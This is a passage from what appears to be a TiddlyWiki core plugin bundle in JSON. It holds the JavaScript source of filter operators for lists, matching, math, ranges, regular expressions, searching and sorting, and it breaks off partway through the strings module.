"text": "/*\\\ntitle: $:/core/modules/filters/list.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator returning the tiddlers whose title is listed in the operand tiddler\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.list = function(source,operator,options) {\n\tvar results = [],\n\t\ttr = $tw.utils.parseTextReference(operator.operand),\n\t\tcurrTiddlerTitle = options.widget && options.widget.getVariable(\"currentTiddler\"),\n\t\tlist = options.wiki.getTiddlerList(tr.title || currTiddlerTitle,tr.field,tr.index);\n\tif(operator.prefix === \"!\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(list.indexOf(title) === -1) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t} else {\n\t\tresults = list;\n\t}\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/listed.js": {
"title": "$:/core/modules/filters/listed.js",
"text": "/*\\\ntitle: $:/core/modules/filters/listed.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator returning all tiddlers that have the selected tiddlers in a list\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.listed = function(source,operator,options) {\n\tvar field = operator.operand || \"list\",\n\t\tresults = [];\n\tsource(function(tiddler,title) {\n\t\t$tw.utils.pushTop(results,options.wiki.findListingsOfTiddler(title,field));\n\t});\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/listops.js": {
"title": "$:/core/modules/filters/listops.js",
"text": "/*\\\ntitle: $:/core/modules/filters/listops.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operators for manipulating the current selection list\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nOrder a list\n*/\nexports.order = function(source,operator,options) {\n\tvar results = [];\n\tif(operator.operand.toLowerCase() === \"reverse\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tresults.unshift(title);\n\t\t});\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tresults.push(title);\n\t\t});\n\t}\n\treturn results;\n};\n\n/*\nReverse list\n*/\nexports.reverse = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tresults.unshift(title);\n\t});\n\treturn results;\n};\n\n/*\nFirst entry/entries in list\n*/\nexports.first = function(source,operator,options) {\n\tvar count = $tw.utils.getInt(operator.operand,1),\n\t\tresults = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push(title);\n\t});\n\treturn results.slice(0,count);\n};\n\n/*\nLast entry/entries in list\n*/\nexports.last = function(source,operator,options) {\n\tvar count = $tw.utils.getInt(operator.operand,1),\n\t\tresults = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push(title);\n\t});\n\treturn results.slice(-count);\n};\n\n/*\nAll but the first entry/entries of the list\n*/\nexports.rest = function(source,operator,options) {\n\tvar count = $tw.utils.getInt(operator.operand,1),\n\t\tresults = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push(title);\n\t});\n\treturn results.slice(count);\n};\nexports.butfirst = exports.rest;\nexports.bf = exports.rest;\n\n/*\nAll but the last entry/entries of the list\n*/\nexports.butlast = function(source,operator,options) {\n\tvar count = $tw.utils.getInt(operator.operand,1),\n\t\tresults = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push(title);\n\t});\n\treturn results.slice(0,-count);\n};\nexports.bl = exports.butlast;\n\n/*\nThe nth member of the list\n*/\nexports.nth = function(source,operator,options) {\n\tvar count = $tw.utils.getInt(operator.operand,1),\n\t\tresults = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push(title);\n\t});\n\treturn results.slice(count - 1,count);\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/lookup.js": {
"title": "$:/core/modules/filters/lookup.js",
"text": "/*\\\ntitle: $:/core/modules/filters/lookup.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator that looks up values via a title prefix\n\n[lookup:<field>[<prefix>]]\n\nPrepends the prefix to the selected items and returns the specified field value\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.lookup = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push(options.wiki.getTiddlerText(operator.operand + title) || options.wiki.getTiddlerText(operator.operand + operator.suffix));\n\t});\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/match.js": {
"title": "$:/core/modules/filters/match.js",
"text": "/*\\\ntitle: $:/core/modules/filters/match.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for checking if a title matches a string\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.match = function(source,operator,options) {\n\tvar results = [],\n\t\tsuffixes = (operator.suffixes || [])[0] || [];\n\tif(suffixes.indexOf(\"caseinsensitive\") !== -1) {\n\t\tif(operator.prefix === \"!\") {\n\t\t\tsource(function(tiddler,title) {\n\t\t\t\tif(title.toLowerCase() !== (operator.operand || \"\").toLowerCase()) {\n\t\t\t\t\tresults.push(title);\n\t\t\t\t}\n\t\t\t});\n\t\t} else {\n\t\t\tsource(function(tiddler,title) {\n\t\t\t\tif(title.toLowerCase() === (operator.operand || \"\").toLowerCase()) {\n\t\t\t\t\tresults.push(title);\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t} else {\n\t\tif(operator.prefix === \"!\") {\n\t\t\tsource(function(tiddler,title) {\n\t\t\t\tif(title !== operator.operand) {\n\t\t\t\t\tresults.push(title);\n\t\t\t\t}\n\t\t\t});\n\t\t} else {\n\t\t\tsource(function(tiddler,title) {\n\t\t\t\tif(title === operator.operand) {\n\t\t\t\t\tresults.push(title);\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t}\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/math.js": {
"title": "$:/core/modules/filters/math.js",
"text": "/*\\\ntitle: $:/core/modules/filters/math.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operators for math. Unary/binary operators work on each item in turn, and return a new item list.\n\nSum/product/maxall/minall operate on the entire list, returning a single item.\n\nNote that strings are converted to numbers automatically. Trailing non-digits are ignored.\n\n* \"\" converts to 0\n* \"12kk\" converts to 12\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.negate = makeNumericBinaryOperator(\n\tfunction(a) {return -a}\n);\n\nexports.abs = makeNumericBinaryOperator(\n\tfunction(a) {return Math.abs(a)}\n);\n\nexports.ceil = makeNumericBinaryOperator(\n\tfunction(a) {return Math.ceil(a)}\n);\n\nexports.floor = makeNumericBinaryOperator(\n\tfunction(a) {return Math.floor(a)}\n);\n\nexports.round = makeNumericBinaryOperator(\n\tfunction(a) {return Math.round(a)}\n);\n\nexports.trunc = makeNumericBinaryOperator(\n\tfunction(a) {return Math.trunc(a)}\n);\n\nexports.untrunc = makeNumericBinaryOperator(\n\tfunction(a) {return Math.ceil(Math.abs(a)) * Math.sign(a)}\n);\n\nexports.sign = makeNumericBinaryOperator(\n\tfunction(a) {return Math.sign(a)}\n);\n\nexports.add = makeNumericBinaryOperator(\n\tfunction(a,b) {return a + b;}\n);\n\nexports.subtract = makeNumericBinaryOperator(\n\tfunction(a,b) {return a - b;}\n);\n\nexports.multiply = makeNumericBinaryOperator(\n\tfunction(a,b) {return a * b;}\n);\n\nexports.divide = makeNumericBinaryOperator(\n\tfunction(a,b) {return a / b;}\n);\n\nexports.remainder = makeNumericBinaryOperator(\n\tfunction(a,b) {return a % b;}\n);\n\nexports.max = makeNumericBinaryOperator(\n\tfunction(a,b) {return Math.max(a,b);}\n);\n\nexports.min = makeNumericBinaryOperator(\n\tfunction(a,b) {return Math.min(a,b);}\n);\n\nexports.fixed = makeNumericBinaryOperator(\n\tfunction(a,b) {return Number.prototype.toFixed.call(a,Math.min(Math.max(b,0),100));}\n);\n\nexports.precision = makeNumericBinaryOperator(\n\tfunction(a,b) {return Number.prototype.toPrecision.call(a,Math.min(Math.max(b,1),100));}\n);\n\nexports.exponential = makeNumericBinaryOperator(\n\tfunction(a,b) {return Number.prototype.toExponential.call(a,Math.min(Math.max(b,0),100));}\n);\n\nexports.sum = makeNumericReducingOperator(\n\tfunction(accumulator,value) {return accumulator + value},\n\t0 // Initial value\n);\n\nexports.product = makeNumericReducingOperator(\n\tfunction(accumulator,value) {return accumulator * value},\n\t1 // Initial value\n);\n\nexports.maxall = makeNumericReducingOperator(\n\tfunction(accumulator,value) {return Math.max(accumulator,value)},\n\t-Infinity // Initial value\n);\n\nexports.minall = makeNumericReducingOperator(\n\tfunction(accumulator,value) {return Math.min(accumulator,value)},\n\tInfinity // Initial value\n);\n\nfunction makeNumericBinaryOperator(fnCalc) {\n\treturn function(source,operator,options) {\n\t\tvar result = [],\n\t\t\tnumOperand = $tw.utils.parseNumber(operator.operand);\n\t\tsource(function(tiddler,title) {\n\t\t\tresult.push($tw.utils.stringifyNumber(fnCalc($tw.utils.parseNumber(title),numOperand)));\n\t\t});\n\t\treturn result;\n\t};\n}\n\nfunction makeNumericReducingOperator(fnCalc,initialValue) {\n\tinitialValue = initialValue || 0;\n\treturn function(source,operator,options) {\n\t\tvar result = [];\n\t\tsource(function(tiddler,title) {\n\t\t\tresult.push(title);\n\t\t});\n\t\treturn [$tw.utils.stringifyNumber(result.reduce(function(accumulator,currentValue) {\n\t\t\treturn fnCalc(accumulator,$tw.utils.parseNumber(currentValue));\n\t\t},initialValue))];\n\t};\n}\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/minlength.js": {
"title": "$:/core/modules/filters/minlength.js",
"text": "/*\\\ntitle: $:/core/modules/filters/minlength.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for filtering out titles that don't meet the minimum length in the operand\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.minlength = function(source,operator,options) {\n\tvar results = [],\n\t\tminLength = parseInt(operator.operand || \"\",10) || 0;\n\tsource(function(tiddler,title) {\n\t\tif(title.length >= minLength) {\n\t\t\tresults.push(title);\n\t\t}\n\t});\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/modules.js": {
"title": "$:/core/modules/filters/modules.js",
"text": "/*\\\ntitle: $:/core/modules/filters/modules.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for returning the titles of the modules of a given type in this wiki\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.modules = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\t$tw.utils.each($tw.modules.types[title],function(moduleInfo,moduleName) {\n\t\t\tresults.push(moduleName);\n\t\t});\n\t});\n\tresults.sort();\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/moduletypes.js": {
"title": "$:/core/modules/filters/moduletypes.js",
"text": "/*\\\ntitle: $:/core/modules/filters/moduletypes.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for returning the names of the module types in this wiki\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.moduletypes = function(source,operator,options) {\n\tvar results = [];\n\t$tw.utils.each($tw.modules.types,function(moduleInfo,type) {\n\t\tresults.push(type);\n\t});\n\tresults.sort();\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/next.js": {
"title": "$:/core/modules/filters/next.js",
"text": "/*\\\ntitle: $:/core/modules/filters/next.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator returning the tiddler whose title occurs next in the list supplied in the operand tiddler\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.next = function(source,operator,options) {\n\tvar results = [],\n\t\tlist = options.wiki.getTiddlerList(operator.operand);\n\tsource(function(tiddler,title) {\n\t\tvar match = list.indexOf(title);\n\t\t// increment match and then test if result is in range\n\t\tmatch++;\n\t\tif(match > 0 && match < list.length) {\n\t\t\tresults.push(list[match]);\n\t\t}\n\t});\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/plugintiddlers.js": {
"title": "$:/core/modules/filters/plugintiddlers.js",
"text": "/*\\\ntitle: $:/core/modules/filters/plugintiddlers.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for returning the titles of the shadow tiddlers within a plugin\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.plugintiddlers = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tvar pluginInfo = options.wiki.getPluginInfo(title) || options.wiki.getTiddlerDataCached(title,{tiddlers:[]});\n\t\tif(pluginInfo && pluginInfo.tiddlers) {\n\t\t\t$tw.utils.each(pluginInfo.tiddlers,function(fields,title) {\n\t\t\t\tresults.push(title);\n\t\t\t});\n\t\t}\n\t});\n\tresults.sort();\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/prefix.js": {
"title": "$:/core/modules/filters/prefix.js",
"text": "/*\\\ntitle: $:/core/modules/filters/prefix.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for checking if a title starts with a prefix\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.prefix = function(source,operator,options) {\n\tvar results = [];\n\tif(operator.prefix === \"!\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(title.substr(0,operator.operand.length) !== operator.operand) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(title.substr(0,operator.operand.length) === operator.operand) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/previous.js": {
"title": "$:/core/modules/filters/previous.js",
"text": "/*\\\ntitle: $:/core/modules/filters/previous.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator returning the tiddler whose title occurs immediately prior in the list supplied in the operand tiddler\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.previous = function(source,operator,options) {\n\tvar results = [],\n\t\tlist = options.wiki.getTiddlerList(operator.operand);\n\tsource(function(tiddler,title) {\n\t\tvar match = list.indexOf(title);\n\t\t// increment match and then test if result is in range\n\t\tmatch--;\n\t\tif(match >= 0) {\n\t\t\tresults.push(list[match]);\n\t\t}\n\t});\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/range.js": {
"title": "$:/core/modules/filters/range.js",
"text": "/*\\\ntitle: $:/core/modules/filters/range.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for generating a numeric range.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.range = function(source,operator,options) {\n\tvar results = [];\n\t// Split the operand into numbers delimited by these symbols\n\tvar parts = operator.operand.split(/[,:;]/g),\n\t\tbeg, end, inc, i, fixed = 0;\n\tfor (i=0; i<parts.length; i++) {\n\t\t// Validate real number\n\t\tif(!/^\\s*[+-]?((\\d+(\\.\\d*)?)|(\\.\\d+))\\s*$/.test(parts[i])) {\n\t\t\treturn [\"range: bad number \\\"\" + parts[i] + \"\\\"\"];\n\t\t}\n\t\t// Count digits; the most precise number determines decimal places in output.\n\t\tvar frac = /\\.\\d+/.exec(parts[i]);\n\t\tif(frac) {\n\t\t\tfixed = Math.max(fixed,frac[0].length-1);\n\t\t}\n\t\tparts[i] = parseFloat(parts[i]);\n\t}\n\tswitch(parts.length) {\n\t\tcase 1:\n\t\t\tend = parts[0];\n\t\t\tif (end >= 1) {\n\t\t\t\tbeg = 1;\n\t\t\t}\n\t\t\telse if (end <= -1) {\n\t\t\t\tbeg = -1;\n\t\t\t}\n\t\t\telse {\n\t\t\t\treturn [];\n\t\t\t}\n\t\t\tinc = 1;\n\t\t\tbreak;\n\t\tcase 2:\n\t\t\tbeg = parts[0];\n\t\t\tend = parts[1];\n\t\t\tinc = 1;\n\t\t\tbreak;\n\t\tcase 3:\n\t\t\tbeg = parts[0];\n\t\t\tend = parts[1];\n\t\t\tinc = Math.abs(parts[2]);\n\t\t\tbreak;\n\t}\n\tif(inc === 0) {\n\t\treturn [\"range: increment 0 causes infinite loop\"];\n\t}\n\t// May need to count backwards\n\tvar direction = ((end < beg) ? -1 : 1);\n\tinc *= direction;\n\t// Estimate number of resulting elements\n\tif((end - beg) / inc > 10000) {\n\t\treturn [\"range: too many steps (over 10K)\"];\n\t}\n\t// Avoid rounding error on last step\n\tend += direction * 0.5 * Math.pow(0.1,fixed);\n\tvar safety = 10010;\n\t// Enumerate the range\n\tif (end<beg) {\n\t\tfor(i=beg; i>end; i+=inc) {\n\t\t\tresults.push(i.toFixed(fixed));\n\t\t\tif(--safety<0) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t} else {\n\t\tfor(i=beg; i<end; i+=inc) {\n\t\t\tresults.push(i.toFixed(fixed));\n\t\t\tif(--safety<0) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\tif(safety<0) {\n\t\treturn [\"range: unexpectedly large output\"];\n\t}\n\t// Reverse?\n\tif(operator.prefix === \"!\") {\n\t\tresults.reverse();\n\t}\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/regexp.js": {
"title": "$:/core/modules/filters/regexp.js",
"text": "/*\\\ntitle: $:/core/modules/filters/regexp.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for regexp matching\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.regexp = function(source,operator,options) {\n\tvar results = [],\n\t\tfieldname = (operator.suffix || \"title\").toLowerCase(),\n\t\tregexpString, regexp, flags = \"\", match,\n\t\tgetFieldString = function(tiddler,title) {\n\t\t\tif(tiddler) {\n\t\t\t\treturn tiddler.getFieldString(fieldname);\n\t\t\t} else if(fieldname === \"title\") {\n\t\t\t\treturn title;\n\t\t\t} else {\n\t\t\t\treturn null;\n\t\t\t}\n\t\t};\n\t// Process flags and construct regexp\n\tregexpString = operator.operand;\n\tmatch = /^\\(\\?([gim]+)\\)/.exec(regexpString);\n\tif(match) {\n\t\tflags = match[1];\n\t\tregexpString = regexpString.substr(match[0].length);\n\t} else {\n\t\tmatch = /\\(\\?([gim]+)\\)$/.exec(regexpString);\n\t\tif(match) {\n\t\t\tflags = match[1];\n\t\t\tregexpString = regexpString.substr(0,regexpString.length - match[0].length);\n\t\t}\n\t}\n\ttry {\n\t\tregexp = new RegExp(regexpString,flags);\n\t} catch(e) {\n\t\treturn [\"\" + e];\n\t}\n\t// Process the incoming tiddlers\n\tif(operator.prefix === \"!\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tvar text = getFieldString(tiddler,title);\n\t\t\tif(text !== null) {\n\t\t\t\tif(!regexp.exec(text)) {\n\t\t\t\t\tresults.push(title);\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tvar text = getFieldString(tiddler,title);\n\t\t\tif(text !== null) {\n\t\t\t\tif(!!regexp.exec(text)) {\n\t\t\t\t\tresults.push(title);\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/removeprefix.js": {
"title": "$:/core/modules/filters/removeprefix.js",
"text": "/*\\\ntitle: $:/core/modules/filters/removeprefix.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for removing a prefix from each title in the list. Titles that do not start with the prefix are removed.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.removeprefix = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tif(title.substr(0,operator.operand.length) === operator.operand) {\n\t\t\tresults.push(title.substr(operator.operand.length));\n\t\t}\n\t});\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/removesuffix.js": {
"title": "$:/core/modules/filters/removesuffix.js",
"text": "/*\\\ntitle: $:/core/modules/filters/removesuffix.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for removing a suffix from each title in the list. Titles that do not end with the suffix are removed.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.removesuffix = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tif(title && title.substr(-operator.operand.length) === operator.operand) {\n\t\t\tresults.push(title.substr(0,title.length - operator.operand.length));\n\t\t}\n\t});\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/sameday.js": {
"title": "$:/core/modules/filters/sameday.js",
"text": "/*\\\ntitle: $:/core/modules/filters/sameday.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator that selects tiddlers with a modified date field on the same day as the provided value.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.sameday = function(source,operator,options) {\n\tvar results = [],\n\t\tfieldName = operator.suffix || \"modified\",\n\t\ttargetDate = (new Date($tw.utils.parseDate(operator.operand))).setHours(0,0,0,0);\n\t// Function to convert a date/time to a date integer\n\tsource(function(tiddler,title) {\n\t\tif(tiddler) {\n\t\t\tif(tiddler.getFieldDay(fieldName) === targetDate) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t}\n\t});\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/search.js": {
"title": "$:/core/modules/filters/search.js",
"text": "/*\\\ntitle: $:/core/modules/filters/search.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for searching for the text in the operand tiddler\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.search = function(source,operator,options) {\n\tvar invert = operator.prefix === \"!\";\n\tif(operator.suffixes) {\n\t\tvar hasFlag = function(flag) {\n\t\t\t\treturn (operator.suffixes[1] || []).indexOf(flag) !== -1;\n\t\t\t},\n\t\t\texcludeFields = false,\n\t\t\tfieldList = operator.suffixes[0] || [],\n\t\t\tfirstField = fieldList[0] || \"\", \n\t\t\tfirstChar = firstField.charAt(0),\n\t\t\tfields;\n\t\tif(firstChar === \"-\") {\n\t\t\tfields = [firstField.slice(1)].concat(fieldList.slice(1));\n\t\t\texcludeFields = true;\n\t\t} else if(fieldList[0] === \"*\"){\n\t\t\tfields = [];\n\t\t\texcludeFields = true;\n\t\t} else {\n\t\t\tfields = fieldList.slice(0);\n\t\t}\n\t\treturn options.wiki.search(operator.operand,{\n\t\t\tsource: source,\n\t\t\tinvert: invert,\n\t\t\tfield: fields,\n\t\t\texcludeField: excludeFields,\n\t\t\tcaseSensitive: hasFlag(\"casesensitive\"),\n\t\t\tliteral: hasFlag(\"literal\"),\n\t\t\twhitespace: hasFlag(\"whitespace\"),\n\t\t\tanchored: hasFlag(\"anchored\"),\n\t\t\tregexp: hasFlag(\"regexp\"),\n\t\t\twords: hasFlag(\"words\")\n\t\t});\n\t} else {\n\t\treturn options.wiki.search(operator.operand,{\n\t\t\tsource: source,\n\t\t\tinvert: invert\n\t\t});\n\t}\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/shadowsource.js": {
"title": "$:/core/modules/filters/shadowsource.js",
"text": "/*\\\ntitle: $:/core/modules/filters/shadowsource.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for returning the source plugins for shadow tiddlers\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.shadowsource = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tvar source = options.wiki.getShadowSource(title);\n\t\tif(source) {\n\t\t\t$tw.utils.pushTop(results,source);\n\t\t}\n\t});\n\tresults.sort();\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/sort.js": {
"title": "$:/core/modules/filters/sort.js",
"text": "/*\\\ntitle: $:/core/modules/filters/sort.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for sorting\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.sort = function(source,operator,options) {\n\tvar results = prepare_results(source);\n\toptions.wiki.sortTiddlers(results,operator.operand || \"title\",operator.prefix === \"!\",false,false);\n\treturn results;\n};\n\nexports.nsort = function(source,operator,options) {\n\tvar results = prepare_results(source);\n\toptions.wiki.sortTiddlers(results,operator.operand || \"title\",operator.prefix === \"!\",false,true);\n\treturn results;\n};\n\nexports.sortan = function(source, operator, options) {\n\tvar results = prepare_results(source);\n\toptions.wiki.sortTiddlers(results, operator.operand || \"title\", operator.prefix === \"!\",false,false,true);\n\treturn results;\n};\n\nexports.sortcs = function(source,operator,options) {\n\tvar results = prepare_results(source);\n\toptions.wiki.sortTiddlers(results,operator.operand || \"title\",operator.prefix === \"!\",true,false);\n\treturn results;\n};\n\nexports.nsortcs = function(source,operator,options) {\n\tvar results = prepare_results(source);\n\toptions.wiki.sortTiddlers(results,operator.operand || \"title\",operator.prefix === \"!\",true,true);\n\treturn results;\n};\n\nvar prepare_results = function (source) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push(title);\n\t});\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/splitbefore.js": {
"title": "$:/core/modules/filters/splitbefore.js",
"text": "/*\\\ntitle: $:/core/modules/filters/splitbefore.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator that splits each result on the first occurance of the specified separator and returns the unique values.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.splitbefore = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tvar parts = title.split(operator.operand);\n\t\tif(parts.length === 1) {\n\t\t\t$tw.utils.pushTop(results,parts[0]);\n\t\t} else {\n\t\t\t$tw.utils.pushTop(results,parts[0] + operator.operand);\n\t\t}\n\t});\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/storyviews.js": {
"title": "$:/core/modules/filters/storyviews.js",
"text": "/*\\\ntitle: $:/core/modules/filters/storyviews.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for returning the names of the story views in this wiki\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.storyviews = function(source,operator,options) {\n\tvar results = [],\n\t\tstoryviews = {};\n\t$tw.modules.applyMethods(\"storyview\",storyviews);\n\t$tw.utils.each(storyviews,function(info,name) {\n\t\tresults.push(name);\n\t});\n\tresults.sort();\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/strings.js": {
"title": "$:/core/modules/filters/strings.js",
"text": "/*\\\ntitle: $:/core/modules/filters/strings.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operators for strings. Unary/binary operators work on each item in turn, and return a new item list.\n\nSum/product/maxall/minall operate on the entire list, returning a single item.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.length = makeStringBinaryOperator(\n\tfunction(a) {return [\"\" + (\"\" + a).length];}\n);\n\nexports.uppercase = makeStringBinaryOperator(\n\tfunction(a) {return [(\"\" + a).toUpperCase()];}\n);\n\nexports.lowercase = makeStringBinaryOperator(\n\tfunction(a) {return [(\"\" + a).toLowerCase()];}\n);\n\nexports.sentencecase = makeStringBinaryOperator(\n\tfunction(a) {return [$tw.utils.toSentenceCase(a)];}\n);\n\nexports.titlecase = makeStringBinaryOperator(\n\tfunction(a) {return [$tw.utils.toTitleCase(a)];}\n);\n\nexports.trim = 